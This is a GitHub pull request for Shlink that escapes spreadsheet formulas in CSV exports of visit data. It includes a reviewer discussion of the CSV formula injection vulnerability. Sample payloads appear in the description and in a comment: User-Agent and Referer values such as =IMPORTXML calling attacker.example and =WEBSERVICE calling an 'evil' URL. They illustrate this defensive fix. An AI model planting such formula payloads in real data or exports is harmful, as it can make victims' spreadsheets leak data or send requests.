Skip to content

Fix for escape spreadsheet formulas when exporting visits as CSV - #2666

Merged
acelaya merged 4 commits into
shlinkio:developfrom
matheuszcabral:fix/csv-formula-injection
Nov 13, 2026
Merged

acelaya merged 4 commits into
shlinkio:developfrom
matheuszcabral:fix/csv-formula-injection

Conversation

@matheuszcabral

Copy link
Copy Markdown
Contributor

Fix for escape spreadsheet formulas when exporting visits as CSV

Before:

...,-2+3,"=IMPORTXML(""[http://attacker.example"",""//x""](http://attacker.example"",""//x%22%22))",...

After:

...,'-2+3,"'=IMPORTXML(""[http://attacker.example"",""//x""](http://attacker.example"",""//x%22%22))",...

@acelaya

acelaya commented Nov 7, 2026

Copy link
Copy Markdown
Member

Can you explain in what situation can visits end up having spreadsheet formulas so that it requires escaping?

@chriscorns

Copy link
Copy Markdown

Can you explain in what situation can visits end up having spreadsheet formulas so that it requires escaping?

Do you know this one: GHSA-ghrv-q878-w45x

@acelaya

acelaya commented Nov 11, 2026

Copy link
Copy Markdown
Member

Can you explain in what situation can visits end up having spreadsheet formulas so that it requires escaping?

Do you know this one: GHSA-ghrv-q878-w45x

Thanks. The PR description doesn't explain why was this needed.

@chriscorns

Copy link
Copy Markdown

Can you explain in what situation can visits end up having spreadsheet formulas so that it requires escaping?

Do you know this one: GHSA-ghrv-q878-w45x

Thanks. The PR description doesn't explain why was this needed.

Here is an explanation to help you understand: A visitor can use a manipulated user agent and/or referrer to manipulate the CSV export file of visits in such a way that, once opened, unintended formulas or requests could be executed. The requests were sent with the following header data:

User-Agent: =1+1
User-Agent: +1+1
User-Agent: -1+1
User-Agent: @SUM(1+1)
User-Agent: plain-ref-control, Referer: =WEBSERVICE("http://127.0.0.1/evil")

Then, as an administrator, I export these visits via the CLI:

# bin/cli short-url:visits shortcode -s 2026-11-11 -f csv

And receive a CSV file containing the following unmasked - and therefore problematic - values:

Date,"Potential bot","User agent",Referer,Country,Region,City,"Visited URL","Redirect URL",Type
2026-11-11T11:04:27+00:00,,=1+1,,Unknown,Unknown,Unknown,http://127.0.0.1:12345/shortcode,http://localhost/my_landing_url,valid_short_url
2026-11-11T11:04:21+00:00,,+1+1,,Unknown,Unknown,Unknown,http://127.0.0.1:12345/shortcode,http://localhost/my_landing_url,valid_short_url
2026-11-11T11:04:14+00:00,,-1+1,,Unknown,Unknown,Unknown,http://127.0.0.1:12345/shortcode,http://localhost/my_landing_url,valid_short_url
2026-11-11T11:04:05+00:00,,@SUM(1+1),,Unknown,Unknown,Unknown,http://127.0.0.1:12345/shortcode,http://localhost/my_landing_url,valid_short_url
2026-11-11T11:03:50+00:00,,plain-ref-control,"=WEBSERVICE(""http://127.0.0.1/evil"")",Unknown,Unknown,Unknown,http://127.0.0.1:12345/shortcode,http://localhost/my_landing_url,valid_short_url

Note: When exporting via the web interface, all values are (correctly) masked.

@acelaya
acelaya force-pushed the fix/csv-formula-injection branch from 0c2bf19 to 62eb676 Compare November 13, 2026 17:23
@acelaya acelaya added this to the 5.2.0 milestone Nov 13, 2026
@codecov

codecov Bot commented Nov 13, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 94.09%. Comparing base (f5325af) to head (62eb676).
⚠️ Report is 1 commits behind head on develop.

Additional details and impacted files
@@            Coverage Diff             @@
##             develop    #2666   +/-   ##
==========================================
  Coverage      94.09%   94.09%           
  Complexity      1608     1608           
==========================================
  Files            273      273           
  Lines           5031     5032    +1     
==========================================
+ Hits            4734     4735    +1     
  Misses           297      297           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@acelaya
acelaya merged commit 6b80ca3 into shlinkio:develop Nov 13, 2026
31 of 32 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants